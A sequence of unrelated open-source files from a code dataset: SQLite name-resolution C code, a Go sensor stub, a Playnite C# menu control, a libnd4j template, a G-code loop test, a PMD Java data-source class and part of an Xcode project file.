pOrderBy = pSelect->pOrderBy;
if( pOrderBy==0 ) return 0;
db = pParse->db;
if( pOrderBy->nExpr>db->aLimit[SQLITE_LIMIT_COLUMN] ){
sqlite3ErrorMsg(pParse, "too many terms in ORDER BY clause");
return 1;
}
for(i=0; i<pOrderBy->nExpr; i++){
pOrderBy->a[i].done = 0;
}
pSelect->pNext = 0;
while( pSelect->pPrior ){
pSelect->pPrior->pNext = pSelect;
pSelect = pSelect->pPrior;
}
while( pSelect && moreToDo ){
struct ExprList_item *pItem;
moreToDo = 0;
pEList = pSelect->pEList;
assert( pEList!=0 );
for(i=0, pItem=pOrderBy->a; i<pOrderBy->nExpr; i++, pItem++){
int iCol = -1;
Expr *pE, *pDup;
if( pItem->done ) continue;
pE = sqlite3ExprSkipCollate(pItem->pExpr);
if( sqlite3ExprIsInteger(pE, &iCol) ){
if( iCol<=0 || iCol>pEList->nExpr ){
resolveOutOfRangeError(pParse, "ORDER", i+1, pEList->nExpr);
return 1;
}
}else{
iCol = resolveAsName(pParse, pEList, pE);
if( iCol==0 ){
pDup = sqlite3ExprDup(db, pE, 0);
if( !db->mallocFailed ){
assert(pDup);
iCol = resolveOrderByTermToExprList(pParse, pSelect, pDup);
}
sqlite3ExprDelete(db, pDup);
}
}
if( iCol>0 ){
/* Convert the ORDER BY term into an integer column number iCol,
** taking care to preserve the COLLATE clause if it exists */
Expr *pNew = sqlite3Expr(db, TK_INTEGER, 0);
if( pNew==0 ) return 1;
pNew->flags |= EP_IntValue;
pNew->u.iValue = iCol;
if( pItem->pExpr==pE ){
pItem->pExpr = pNew;
}else{
Expr *pParent = pItem->pExpr;
assert( pParent->op==TK_COLLATE );
while( pParent->pLeft->op==TK_COLLATE ) pParent = pParent->pLeft;
assert( pParent->pLeft==pE );
pParent->pLeft = pNew;
}
sqlite3ExprDelete(db, pE);
pItem->u.x.iOrderByCol = (u16)iCol;
pItem->done = 1;
}else{
moreToDo = 1;
}
}
pSelect = pSelect->pNext;
}
for(i=0; i<pOrderBy->nExpr; i++){
if( pOrderBy->a[i].done==0 ){
sqlite3ErrorMsg(pParse, "%r ORDER BY term does not match any "
"column in the result set", i+1);
return 1;
}
}
return 0;
}
/*
** Check every term in the ORDER BY or GROUP BY clause pOrderBy of
** the SELECT statement pSelect. If any term is reference to a
** result set expression (as determined by the ExprList.a.u.x.iOrderByCol
** field) then convert that term into a copy of the corresponding result set
** column.
**
** If any errors are detected, add an error message to pParse and
** return non-zero. Return zero if no errors are seen.
*/
int sqlite3ResolveOrderGroupBy(
Parse *pParse, /* Parsing context. Leave error messages here */
Select *pSelect, /* The SELECT statement containing the clause */
ExprList *pOrderBy, /* The ORDER BY or GROUP BY clause to be processed */
const char *zType /* "ORDER" or "GROUP" */
){
int i;
sqlite3 *db = pParse->db;
ExprList *pEList;
struct ExprList_item *pItem;
if( pOrderBy==0 || pParse->db->mallocFailed ) return 0;
if( pOrderBy->nExpr>db->aLimit[SQLITE_LIMIT_COLUMN] ){
sqlite3ErrorMsg(pParse, "too many terms in %s BY clause", zType);
return 1;
}
pEList = pSelect->pEList;
assert( pEList!=0 ); /* sqlite3SelectNew() guarantees this */
for(i=0, pItem=pOrderBy->a; i<pOrderBy->nExpr; i++, pItem++){
if( pItem->u.x.iOrderByCol ){
if( pItem->u.x.iOrderByCol>pEList->nExpr ){
resolveOutOfRangeError(pParse, zType, i+1, pEList->nExpr);
return 1;
}
resolveAlias(pParse, pEList, pItem->u.x.iOrderByCol-1, pItem->pExpr,
zType,0);
}
}
return 0;
}
/*
** pOrderBy is an ORDER BY or GROUP BY clause in SELECT statement pSelect.
** The Name context of the SELECT statement is pNC. zType is either
** "ORDER" or "GROUP" depending on which type of clause pOrderBy is.
**
** This routine resolves each term of the clause into an expression.
** If the order-by term is an integer I between 1 and N (where N is the
** number of columns in the result set of the SELECT) then the expression
** in the resolution is a copy of the I-th result-set expression. If
** the order-by term is an identifier that corresponds to the AS-name of
** a result-set expression, then the term resolves to a copy of the
** result-set expression. Otherwise, the expression is resolved in
** the usual way - using sqlite3ResolveExprNames().
**
** This routine returns the number of errors. If errors occur, then
** an appropriate error message might be left in pParse. (OOM errors
** excepted.)
*/
static int resolveOrderGroupBy(
NameContext *pNC, /* The name context of the SELECT statement */
Select *pSelect, /* The SELECT statement holding pOrderBy */
ExprList *pOrderBy, /* An ORDER BY or GROUP BY clause to resolve */
const char *zType /* Either "ORDER" or "GROUP", as appropriate */
){
int i, j; /* Loop counters */
int iCol; /* Column number */
struct ExprList_item *pItem; /* A term of the ORDER BY clause */
Parse *pParse; /* Parsing context */
int nResult; /* Number of terms in the result set */
if( pOrderBy==0 ) return 0;
nResult = pSelect->pEList->nExpr;
pParse = pNC->pParse;
for(i=0, pItem=pOrderBy->a; i<pOrderBy->nExpr; i++, pItem++){
Expr *pE = pItem->pExpr;
Expr *pE2 = sqlite3ExprSkipCollate(pE);
if( zType[0]!='G' ){
iCol = resolveAsName(pParse, pSelect->pEList, pE2);
if( iCol>0 ){
/* If an AS-name match is found, mark this ORDER BY column as being
** a copy of the iCol-th result-set column. The subsequent call to
** sqlite3ResolveOrderGroupBy() will convert the expression to a
** copy of the iCol-th result-set expression. */
pItem->u.x.iOrderByCol = (u16)iCol;
continue;
}
}
if( sqlite3ExprIsInteger(pE2, &iCol) ){
/* The ORDER BY term is an integer constant. Again, set the column
** number so that sqlite3ResolveOrderGroupBy() will convert the
** order-by term to a copy of the result-set expression */
if( iCol<1 || iCol>0xffff ){
resolveOutOfRangeError(pParse, zType, i+1, nResult);
return 1;
}
pItem->u.x.iOrderByCol = (u16)iCol;
continue;
}
/* Otherwise, treat the ORDER BY term as an ordinary expression */
pItem->u.x.iOrderByCol = 0;
if( sqlite3ResolveExprNames(pNC, pE) ){
return 1;
}
for(j=0; j<pSelect->pEList->nExpr; j++){
if( sqlite3ExprCompare(0, pE, pSelect->pEList->a[j].pExpr, -1)==0 ){
#ifndef SQLITE_OMIT_WINDOWFUNC
if( pE->pWin ){
/* Since this window function is being changed into a reference
** to the same window function the result set, remove the instance
** of this window function from the Select.pWin list. */
Window **pp;
for(pp=&pSelect->pWin; *pp; pp=&(*pp)->pNextWin){
if( *pp==pE->pWin ){
*pp = (*pp)->pNextWin;
}
}
}
#endif
pItem->u.x.iOrderByCol = j+1;
}
}
}
return sqlite3ResolveOrderGroupBy(pParse, pSelect, pOrderBy, zType);
}
/*
** Resolve names in the SELECT statement p and all of its descendants.
*/
static int resolveSelectStep(Walker *pWalker, Select *p){
NameContext *pOuterNC; /* Context that contains this SELECT */
NameContext sNC; /* Name context of this SELECT */
int isCompound; /* True if p is a compound select */
int nCompound; /* Number of compound terms processed so far */
Parse *pParse; /* Parsing context */
int i; /* Loop counter */
ExprList *pGroupBy; /* The GROUP BY clause */
Select *pLeftmost; /* Left-most of SELECT of a compound */
sqlite3 *db; /* Database connection */
assert( p!=0 );
if( p->selFlags & SF_Resolved ){
return WRC_Prune;
}
pOuterNC = pWalker->u.pNC;
pParse = pWalker->pParse;
db = pParse->db;
/* Normally sqlite3SelectExpand() will be called first and will have
** already expanded this SELECT. However, if this is a subquery within
** an expression, sqlite3ResolveExprNames() will be called without a
** prior call to sqlite3SelectExpand(). When that happens, let
** sqlite3SelectPrep() do all of the processing for this SELECT.
** sqlite3SelectPrep() will invoke both sqlite3SelectExpand() and
** this routine in the correct order.
*/
if( (p->selFlags & SF_Expanded)==0 ){
sqlite3SelectPrep(pParse, p, pOuterNC);
return (pParse->nErr || db->mallocFailed) ? WRC_Abort : WRC_Prune;
}
isCompound = p->pPrior!=0;
nCompound = 0;
pLeftmost = p;
while( p ){
assert( (p->selFlags & SF_Expanded)!=0 );
assert( (p->selFlags & SF_Resolved)==0 );
p->selFlags |= SF_Resolved;
/* Resolve the expressions in the LIMIT and OFFSET clauses. These
** are not allowed to refer to any names, so pass an empty NameContext.
*/
memset(&sNC, 0, sizeof(sNC));
sNC.pParse = pParse;
sNC.pWinSelect = p;
if( sqlite3ResolveExprNames(&sNC, p->pLimit) ){
return WRC_Abort;
}
/* If the SF_Converted flags is set, then this Select object was
** was created by the convertCompoundSelectToSubquery() function.
** In this case the ORDER BY clause (p->pOrderBy) should be resolved
** as if it were part of the sub-query, not the parent. This block
** moves the pOrderBy down to the sub-query. It will be moved back
** after the names have been resolved. */
if( p->selFlags & SF_Converted ){
Select *pSub = p->pSrc->a[0].pSelect;
assert( p->pSrc->nSrc==1 && p->pOrderBy );
assert( pSub->pPrior && pSub->pOrderBy==0 );
pSub->pOrderBy = p->pOrderBy;
p->pOrderBy = 0;
}
/* Recursively resolve names in all subqueries
*/
for(i=0; i<p->pSrc->nSrc; i++){
struct SrcList_item *pItem = &p->pSrc->a[i];
if( pItem->pSelect ){
NameContext *pNC; /* Used to iterate name contexts */
int nRef = 0; /* Refcount for pOuterNC and outer contexts */
const char *zSavedContext = pParse->zAuthContext;
/* Count the total number of references to pOuterNC and all of its
** parent contexts. After resolving references to expressions in
** pItem->pSelect, check if this value has changed. If so, then
** SELECT statement pItem->pSelect must be correlated. Set the
** pItem->fg.isCorrelated flag if this is the case. */
for(pNC=pOuterNC; pNC; pNC=pNC->pNext) nRef += pNC->nRef;
if( pItem->zName ) pParse->zAuthContext = pItem->zName;
sqlite3ResolveSelectNames(pParse, pItem->pSelect, pOuterNC);
pParse->zAuthContext = zSavedContext;
if( pParse->nErr || db->mallocFailed ) return WRC_Abort;
for(pNC=pOuterNC; pNC; pNC=pNC->pNext) nRef -= pNC->nRef;
assert( pItem->fg.isCorrelated==0 && nRef<=0 );
pItem->fg.isCorrelated = (nRef!=0);
}
}
/* Set up the local name-context to pass to sqlite3ResolveExprNames() to
** resolve the result-set expression list.
*/
sNC.ncFlags = NC_AllowAgg|NC_AllowWin;
sNC.pSrcList = p->pSrc;
sNC.pNext = pOuterNC;
/* Resolve names in the result set. */
if( sqlite3ResolveExprListNames(&sNC, p->pEList) ) return WRC_Abort;
sNC.ncFlags &= ~NC_AllowWin;
/* If there are no aggregate functions in the result-set, and no GROUP BY
** expression, do not allow aggregates in any of the other expressions.
*/
assert( (p->selFlags & SF_Aggregate)==0 );
pGroupBy = p->pGroupBy;
if( pGroupBy || (sNC.ncFlags & NC_HasAgg)!=0 ){
assert( NC_MinMaxAgg==SF_MinMaxAgg );
p->selFlags |= SF_Aggregate | (sNC.ncFlags&NC_MinMaxAgg);
}else{
sNC.ncFlags &= ~NC_AllowAgg;
}
/* If a HAVING clause is present, then there must be a GROUP BY clause.
*/
if( p->pHaving && !pGroupBy ){
sqlite3ErrorMsg(pParse, "a GROUP BY clause is required before HAVING");
return WRC_Abort;
}
/* Add the output column list to the name-context before parsing the
** other expressions in the SELECT statement. This is so that
** expressions in the WHERE clause (etc.) can refer to expressions by
** aliases in the result set.
**
** Minor point: If this is the case, then the expression will be
** re-evaluated for each reference to it.
*/
assert( (sNC.ncFlags & (NC_UAggInfo|NC_UUpsert))==0 );
sNC.uNC.pEList = p->pEList;
sNC.ncFlags |= NC_UEList;
if( sqlite3ResolveExprNames(&sNC, p->pHaving) ) return WRC_Abort;
if( sqlite3ResolveExprNames(&sNC, p->pWhere) ) return WRC_Abort;
/* Resolve names in table-valued-function arguments */
for(i=0; i<p->pSrc->nSrc; i++){
struct SrcList_item *pItem = &p->pSrc->a[i];
if( pItem->fg.isTabFunc
&& sqlite3ResolveExprListNames(&sNC, pItem->u1.pFuncArg)
){
return WRC_Abort;
}
}
/* The ORDER BY and GROUP BY clauses may not refer to terms in
** outer queries
*/
sNC.pNext = 0;
sNC.ncFlags |= NC_AllowAgg|NC_AllowWin;
/* If this is a converted compound query, move the ORDER BY clause from
** the sub-query back to the parent query. At this point each term
** within the ORDER BY clause has been transformed to an integer value.
** These integers will be replaced by copies of the corresponding result
** set expressions by the call to resolveOrderGroupBy() below. */
if( p->selFlags & SF_Converted ){
Select *pSub = p->pSrc->a[0].pSelect;
p->pOrderBy = pSub->pOrderBy;
pSub->pOrderBy = 0;
}
/* Process the ORDER BY clause for singleton SELECT statements.
** The ORDER BY clause for compounds SELECT statements is handled
** below, after all of the result-sets for all of the elements of
** the compound have been resolved.
**
** If there is an ORDER BY clause on a term of a compound-select other
** than the right-most term, then that is a syntax error. But the error
** is not detected until much later, and so we need to go ahead and
** resolve those symbols on the incorrect ORDER BY for consistency.
*/
if( isCompound<=nCompound /* Defer right-most ORDER BY of a compound */
&& resolveOrderGroupBy(&sNC, p, p->pOrderBy, "ORDER")
){
return WRC_Abort;
}
if( db->mallocFailed ){
return WRC_Abort;
}
sNC.ncFlags &= ~NC_AllowWin;
/* Resolve the GROUP BY clause. At the same time, make sure
** the GROUP BY clause does not contain aggregate functions.
*/
if( pGroupBy ){
struct ExprList_item *pItem;
if( resolveOrderGroupBy(&sNC, p, pGroupBy, "GROUP") || db->mallocFailed ){
return WRC_Abort;
}
for(i=0, pItem=pGroupBy->a; i<pGroupBy->nExpr; i++, pItem++){
if( ExprHasProperty(pItem->pExpr, EP_Agg) ){
sqlite3ErrorMsg(pParse, "aggregate functions are not allowed in "
"the GROUP BY clause");
return WRC_Abort;
}
}
}
/* If this is part of a compound SELECT, check that it has the right
** number of expressions in the select list. */
if( p->pNext && p->pEList->nExpr!=p->pNext->pEList->nExpr ){
sqlite3SelectWrongNumTermsError(pParse, p->pNext);
return WRC_Abort;
}
/* Advance to the next term of the compound
*/
p = p->pPrior;
nCompound++;
}
/* Resolve the ORDER BY on a compound SELECT after all terms of
** the compound have been resolved.
*/
if( isCompound && resolveCompoundOrderBy(pParse, pLeftmost) ){
return WRC_Abort;
}
return WRC_Prune;
}
/*
** This routine walks an expression tree and resolves references to
** table columns and result-set columns. At the same time, do error
** checking on function usage and set a flag if any aggregate functions
** are seen.
**
** To resolve table columns references we look for nodes (or subtrees) of the
** form X.Y.Z or Y.Z or just Z where
**
** X: The name of a database. Ex: "main" or "temp" or
** the symbolic name assigned to an ATTACH-ed database.
**
** Y: The name of a table in a FROM clause. Or in a trigger
** one of the special names "old" or "new".
**
** Z: The name of a column in table Y.
**
** The node at the root of the subtree is modified as follows:
**
** Expr.op Changed to TK_COLUMN
** Expr.pTab Points to the Table object for X.Y
** Expr.iColumn The column index in X.Y. -1 for the rowid.
** Expr.iTable The VDBE cursor number for X.Y
**
**
** To resolve result-set references, look for expression nodes of the
** form Z (with no X and Y prefix) where the Z matches the right-hand
** size of an AS clause in the result-set of a SELECT. The Z expression
** is replaced by a copy of the left-hand side of the result-set expression.
** Table-name and function resolution occurs on the substituted expression
** tree. For example, in:
**
** SELECT a+b AS x, c+d AS y FROM t1 ORDER BY x;
**
** The "x" term of the order by is replaced by "a+b" to render:
**
** SELECT a+b AS x, c+d AS y FROM t1 ORDER BY a+b;
**
** Function calls are checked to make sure that the function is
** defined and that the correct number of arguments are specified.
** If the function is an aggregate function, then the NC_HasAgg flag is
** set and the opcode is changed from TK_FUNCTION to TK_AGG_FUNCTION.
** If an expression contains aggregate functions then the EP_Agg
** property on the expression is set.
**
** An error message is left in pParse if anything is amiss. The number
** if errors is returned.
*/
int sqlite3ResolveExprNames(
NameContext *pNC, /* Namespace to resolve expressions in. */
Expr *pExpr /* The expression to be analyzed. */
){
u16 savedHasAgg;
Walker w;
if( pExpr==0 ) return SQLITE_OK;
savedHasAgg = pNC->ncFlags & (NC_HasAgg|NC_MinMaxAgg);
pNC->ncFlags &= ~(NC_HasAgg|NC_MinMaxAgg);
w.pParse = pNC->pParse;
w.xExprCallback = resolveExprStep;
w.xSelectCallback = resolveSelectStep;
w.xSelectCallback2 = 0;
w.u.pNC = pNC;
#if SQLITE_MAX_EXPR_DEPTH>0
w.pParse->nHeight += pExpr->nHeight;
if( sqlite3ExprCheckHeight(w.pParse, w.pParse->nHeight) ){
return SQLITE_ERROR;
}
#endif
sqlite3WalkExpr(&w, pExpr);
#if SQLITE_MAX_EXPR_DEPTH>0
w.pParse->nHeight -= pExpr->nHeight;
#endif
if( pNC->ncFlags & NC_HasAgg ){
ExprSetProperty(pExpr, EP_Agg);
}
pNC->ncFlags |= savedHasAgg;
return pNC->nErr>0 || w.pParse->nErr>0;
}
/*
** Resolve all names for all expression in an expression list. This is
** just like sqlite3ResolveExprNames() except that it works for an expression
** list rather than a single expression.
*/
int sqlite3ResolveExprListNames(
NameContext *pNC, /* Namespace to resolve expressions in. */
ExprList *pList /* The expression list to be analyzed. */
){
int i;
if( pList ){
for(i=0; i<pList->nExpr; i++){
if( sqlite3ResolveExprNames(pNC, pList->a[i].pExpr) ) return WRC_Abort;
}
}
return WRC_Continue;
}
/*
** Resolve all names in all expressions of a SELECT and in all
** decendents of the SELECT, including compounds off of p->pPrior,
** subqueries in expressions, and subqueries used as FROM clause
** terms.
**
** See sqlite3ResolveExprNames() for a description of the kinds of
** transformations that occur.
**
** All SELECT statements should have been expanded using
** sqlite3SelectExpand() prior to invoking this routine.
*/
void sqlite3ResolveSelectNames(
Parse *pParse, /* The parser context */
Select *p, /* The SELECT statement being coded. */
NameContext *pOuterNC /* Name context for parent SELECT statement */
){
Walker w;
assert( p!=0 );
w.xExprCallback = resolveExprStep;
w.xSelectCallback = resolveSelectStep;
w.xSelectCallback2 = 0;
w.pParse = pParse;
w.u.pNC = pOuterNC;
sqlite3WalkSelect(&w, p);
}
/*
** Resolve names in expressions that can only reference a single table:
**
** * CHECK constraints
** * WHERE clauses on partial indices
**
** The Expr.iTable value for Expr.op==TK_COLUMN nodes of the expression
** is set to -1 and the Expr.iColumn value is set to the column number.
**
** Any errors cause an error message to be set in pParse.
*/
void sqlite3ResolveSelfReference(
Parse *pParse, /* Parsing context */
Table *pTab, /* The table being referenced */
int type, /* NC_IsCheck or NC_PartIdx or NC_IdxExpr */
Expr *pExpr, /* Expression to resolve. May be NULL. */
ExprList *pList /* Expression list to resolve. May be NULL. */
){
SrcList sSrc; /* Fake SrcList for pParse->pNewTable */
NameContext sNC; /* Name context for pParse->pNewTable */
assert( type==NC_IsCheck || type==NC_PartIdx || type==NC_IdxExpr );
memset(&sNC, 0, sizeof(sNC));
memset(&sSrc, 0, sizeof(sSrc));
sSrc.nSrc = 1;
sSrc.a[0].zName = pTab->zName;
sSrc.a[0].pTab = pTab;
sSrc.a[0].iCursor = -1;
sNC.pParse = pParse;
sNC.pSrcList = &sSrc;
sNC.ncFlags = type;
if( sqlite3ResolveExprNames(&sNC, pExpr) ) return;
if( pList ) sqlite3ResolveExprListNames(&sNC, pList);
}
| {
"pile_set_name": "Github"
} |
// +build darwin
// +build !cgo
package host
import (
"context"
"github.com/shirou/gopsutil/internal/common"
)
func SensorsTemperatures() ([]TemperatureStat, error) {
return SensorsTemperaturesWithContext(context.Background())
}
func SensorsTemperaturesWithContext(ctx context.Context) ([]TemperatureStat, error) {
return []TemperatureStat{}, common.ErrNotImplementedError
}
| {
"pile_set_name": "Github"
} |
using Playnite.Behaviors;
using Playnite.Common;
using Playnite.FullscreenApp.ViewModels;
using Playnite.Input;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Data;
using System.Windows.Input;
namespace Playnite.FullscreenApp.Controls.Views
{
[TemplatePart(Name = "PART_MenuHost", Type = typeof(FrameworkElement))]
[TemplatePart(Name = "PART_ItemsHost", Type = typeof(ItemsControl))]
public class GameMenu : Control
{
private FullscreenAppViewModel mainModel;
private FrameworkElement MenuHost;
private ItemsControl ItemsHost;
static GameMenu()
{
DefaultStyleKeyProperty.OverrideMetadata(typeof(GameMenu), new FrameworkPropertyMetadata(typeof(GameMenu)));
}
public GameMenu() : this(FullscreenApplication.Current?.MainModel)
{
}
public GameMenu(FullscreenAppViewModel mainModel) : base()
{
if (DesignerProperties.GetIsInDesignMode(this))
{
this.mainModel = DesignMainViewModel.DesignIntance;
}
else if (mainModel != null)
{
this.mainModel = mainModel;
}
}
public override void OnApplyTemplate()
{
base.OnApplyTemplate();
if (Template != null)
{
MenuHost = Template.FindName("PART_MenuHost", this) as FrameworkElement;
if (MenuHost != null)
{
MenuHost.InputBindings.Add(new KeyBinding(mainModel.ToggleGameOptionsCommand, new KeyGesture(Key.Back)));
MenuHost.InputBindings.Add(new KeyBinding(mainModel.ToggleGameOptionsCommand, new KeyGesture(Key.Escape)));
MenuHost.InputBindings.Add(new XInputBinding(mainModel.ToggleGameOptionsCommand, XInputButton.B));
BindingTools.SetBinding(
MenuHost,
Control.DataContextProperty,
mainModel,
nameof(FullscreenAppViewModel.SelectedGameDetails));
}
ItemsHost = Template.FindName("PART_ItemsHost", this) as ItemsControl;
if (ItemsHost != null)
{
BindingTools.SetBinding(
ItemsHost,
ItemsControl.ItemsSourceProperty,
mainModel,
$"{nameof(FullscreenAppViewModel.SelectedGameDetails)}.{nameof(FullscreenAppViewModel.SelectedGameDetails.GameItems)}");
BindingTools.SetBinding(ItemsHost,
FocusBahaviors.FocusBindingProperty,
mainModel,
nameof(mainModel.GameMenuVisible));
}
}
}
}
}
| {
"pile_set_name": "Github"
} |
/*******************************************************************************
* Copyright (c) 2015-2018 Skymind, Inc.
* Copyright (c) 2020 Konduit K.K.
*
* This program and the accompanying materials are made available under the
* terms of the Apache License, Version 2.0 which is available at
* https://www.apache.org/licenses/LICENSE-2.0.
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations
* under the License.
*
* SPDX-License-Identifier: Apache-2.0
******************************************************************************/
//
// @author [email protected]
//
#include <ops/declarable/helpers/crop_and_resize.h>
#include <ops/declarable/helpers/cpu/crop_and_resize.hpp>
#cmakedefine LIBND4J_TYPE_GEN
namespace sd {
namespace ops {
namespace helpers {
BUILD_TRIPLE_TEMPLATE(template void cropAndResizeFunctor_, (NDArray const *images, NDArray const *boxes, NDArray const *indices, NDArray const *cropSize, int method, double extrapolationVal, NDArray *crops), LIBND4J_TYPES_@FL_TYPE_INDEX@, FLOAT_TYPES, INTEGER_TYPES);
}
}
} | {
"pile_set_name": "Github"
} |
(Endless program)
(In a standalone interpreter, this should probably exit)
(at the main program M99. In task, the main program M99)
(should cause an endless loop, terminated by a counter.)
(*****************************************************)
(Don't *actually* run this program infinitely!)
(Stop after)#101 = 3(loops in case of failure)
#100 = [#100 + 1] (Counter; assume it starts at 0)
O1000 if [#100 GT #101]
(PRINT, "Stopping program after #101 loops")
#100 = 0 (Reset counter)
M30 (End program)
O1000 endif
(*****************************************************)
O1 (Main program begin)
(PRINT, X Loop number #100)
G1 X1 F40 (Junk move...)
M98 P100 (Call junk subprogram)
G1 X5 (Another junk move...)
M99 (Main program endless loop)
(*****************************************************)
O100 (Junk subprogram begin)
G1 Y-4 (Subprogram junk move...)
M99 (Return to main program)
%
| {
"pile_set_name": "Github"
} |
/**
* BSD-style license; for more info see http://pmd.sourceforge.net/license.html
*/
package net.sourceforge.pmd.util.datasource;
import java.io.IOException;
import java.io.InputStream;
import java.io.Reader;
import org.apache.commons.io.input.ReaderInputStream;
import net.sourceforge.pmd.util.datasource.internal.AbstractDataSource;
/**
* DataSource implementation to read data from a Reader.
*/
public class ReaderDataSource extends AbstractDataSource {
/**
* Reader
*/
private final Reader reader;
/**
* Real or pseudo filename or path name.
*
* <p>
* Including a file suffix mapped to the correct language helps assign the
* correct parser.
* </p>
*/
private String dataSourceName;
/**
* Create the DataSource from the Reader.
*/
public ReaderDataSource(Reader reader, String dataSourceName) {
this.reader = reader;
this.dataSourceName = dataSourceName;
}
/**
* Convert the Reader into an InputStream.
* <p>
* <strong>Note:</strong> This uses the default encoding.
* </p>
*
* @return Derived InputStream
* @throws IOException
*/
@Override
public InputStream getInputStream() throws IOException {
return new ReaderInputStream(reader);
}
/**
* Return the dataSourceName via the {@link DataSource} Interface method.
*
* <p>
* Both the parameters are ignored
* </p>
*
* @param shortNames
* ignored
* @param inputFileName
* ignored
* @return
*/
@Override
public String getNiceFileName(boolean shortNames, String inputFileName) {
return getDataSourceName();
}
/**
* @return the dataSourceName
*/
public String getDataSourceName() {
return dataSourceName;
}
/**
* @param dataSourceName
* the dataSourceName to set
*/
public void setDataSourceName(String dataSourceName) {
this.dataSourceName = dataSourceName;
}
@Override
public String toString() {
return new StringBuilder(ReaderDataSource.class.getSimpleName())
.append('[')
.append(dataSourceName)
.append(']')
.toString();
}
}
| {
"pile_set_name": "Github"
} |
// !$*UTF8*$!
{
archiveVersion = 1;
classes = {
};
objectVersion = 51;
objects = {
/* Begin PBXBuildFile section */
C90007F323B3BA710002B6A0 /* NSObject+DarkMode.m in Sources */ = {isa = PBXBuildFile; fileRef = C90007F223B3BA710002B6A0 /* NSObject+DarkMode.m */; };
C90007F623B3C5BB0002B6A0 /* NSView+HiddenDebug.m in Sources */ = {isa = PBXBuildFile; fileRef = C90007F523B3C5BB0002B6A0 /* NSView+HiddenDebug.m */; };
C90BE30D239F38EB00ADE88B /* AppDelegate.m in Sources */ = {isa = PBXBuildFile; fileRef = C90BE30C239F38EB00ADE88B /* AppDelegate.m */; };
C90BE310239F38EB00ADE88B /* ViewController.m in Sources */ = {isa = PBXBuildFile; fileRef = C90BE30F239F38EB00ADE88B /* ViewController.m */; };
C90BE312239F38EC00ADE88B /* Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = C90BE311239F38EC00ADE88B /* Assets.xcassets */; };
C90BE315239F38EC00ADE88B /* Main.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = C90BE313239F38EC00ADE88B /* Main.storyboard */; };
C90BE318239F38EC00ADE88B /* main.m in Sources */ = {isa = PBXBuildFile; fileRef = C90BE317239F38EC00ADE88B /* main.m */; };
C90C77852391188400A65E42 /* SnipFocusView.m in Sources */ = {isa = PBXBuildFile; fileRef = C90C77842391188400A65E42 /* SnipFocusView.m */; };
C910457023A3AF44001D5211 /* Translate.m in Sources */ = {isa = PBXBuildFile; fileRef = C910456F23A3AF44001D5211 /* Translate.m */; };
C91C153823AB8B0600CCAEC0 /* MMTool.m in Sources */ = {isa = PBXBuildFile; fileRef = C91C153723AB8B0600CCAEC0 /* MMTool.m */; };
C91DF6B023A35E07009CB158 /* MMOrderedDictionary.m in Sources */ = {isa = PBXBuildFile; fileRef = C91DF6AE23A35E07009CB158 /* MMOrderedDictionary.m */; };
C959D33A238809B800DD8808 /* OCRResult.m in Sources */ = {isa = PBXBuildFile; fileRef = C959D339238809B800DD8808 /* OCRResult.m */; };
C9676F2B23A0908F007DD023 /* NSPasteboard+MM.m in Sources */ = {isa = PBXBuildFile; fileRef = C9676F2A23A0908F007DD023 /* NSPasteboard+MM.m */; };
C9889F6123AA0FDA00C2D127 /* GoogleTranslate.m in Sources */ = {isa = PBXBuildFile; fileRef = C9889F6023AA0FDA00C2D127 /* GoogleTranslate.m */; };
C988B28823B1F12D007C8108 /* DarkModeManager.m in Sources */ = {isa = PBXBuildFile; fileRef = C988B28723B1F12D007C8108 /* DarkModeManager.m */; };
C98C17A1239E3F4A00BD02DB /* PreferencesWindowController.m in Sources */ = {isa = PBXBuildFile; fileRef = C98C17A0239E3F4A00BD02DB /* PreferencesWindowController.m */; };
C98C17A5239E40AC00BD02DB /* GeneralViewController.m in Sources */ = {isa = PBXBuildFile; fileRef = C98C17A3239E40AC00BD02DB /* GeneralViewController.m */; };
C98C17A6239E40AC00BD02DB /* GeneralViewController.xib in Resources */ = {isa = PBXBuildFile; fileRef = C98C17A4239E40AC00BD02DB /* GeneralViewController.xib */; };
C98C17AA239E410300BD02DB /* AboutViewController.m in Sources */ = {isa = PBXBuildFile; fileRef = C98C17A8239E410300BD02DB /* AboutViewController.m */; };
C98C17AB239E410300BD02DB /* AboutViewController.xib in Resources */ = {isa = PBXBuildFile; fileRef = C98C17A9239E410300BD02DB /* AboutViewController.xib */; };
C98C17B0239E516A00BD02DB /* Shortcut.m in Sources */ = {isa = PBXBuildFile; fileRef = C98C17AF239E516A00BD02DB /* Shortcut.m */; };
C98CAE75239F4619005F7DCA /* BobHelper.app in CopyFiles */ = {isa = PBXBuildFile; fileRef = C90BE309239F38EB00ADE88B /* BobHelper.app */; settings = {ATTRIBUTES = (RemoveHeadersOnCopy, ); }; };
C98CFA28239F8CDB00FB7EC4 /* MMLog.swift in Sources */ = {isa = PBXBuildFile; fileRef = C98CFA21239F8CDB00FB7EC4 /* MMLog.swift */; };
C98CFA29239F8CDB00FB7EC4 /* MMFileLogFormatter.m in Sources */ = {isa = PBXBuildFile; fileRef = C98CFA22239F8CDB00FB7EC4 /* MMFileLogFormatter.m */; };
C98CFA2A239F8CDB00FB7EC4 /* MMConsoleLogFormatter.m in Sources */ = {isa = PBXBuildFile; fileRef = C98CFA24239F8CDB00FB7EC4 /* MMConsoleLogFormatter.m */; };
C98CFA2B239F8CDB00FB7EC4 /* MMLog.m in Sources */ = {isa = PBXBuildFile; fileRef = C98CFA26239F8CDB00FB7EC4 /* MMLog.m */; };
C98CFA33239FA6F400FB7EC4 /* MMCrashUncaughtExceptionHandler.m in Sources */ = {isa = PBXBuildFile; fileRef = C98CFA2D239FA6F400FB7EC4 /* MMCrashUncaughtExceptionHandler.m */; };
C98CFA34239FA6F400FB7EC4 /* MMCrashSignalExceptionHandler.m in Sources */ = {isa = PBXBuildFile; fileRef = C98CFA2F239FA6F400FB7EC4 /* MMCrashSignalExceptionHandler.m */; };
C98CFA35239FA6F400FB7EC4 /* MMCrashFileTool.m in Sources */ = {isa = PBXBuildFile; fileRef = C98CFA31239FA6F400FB7EC4 /* MMCrashFileTool.m */; };
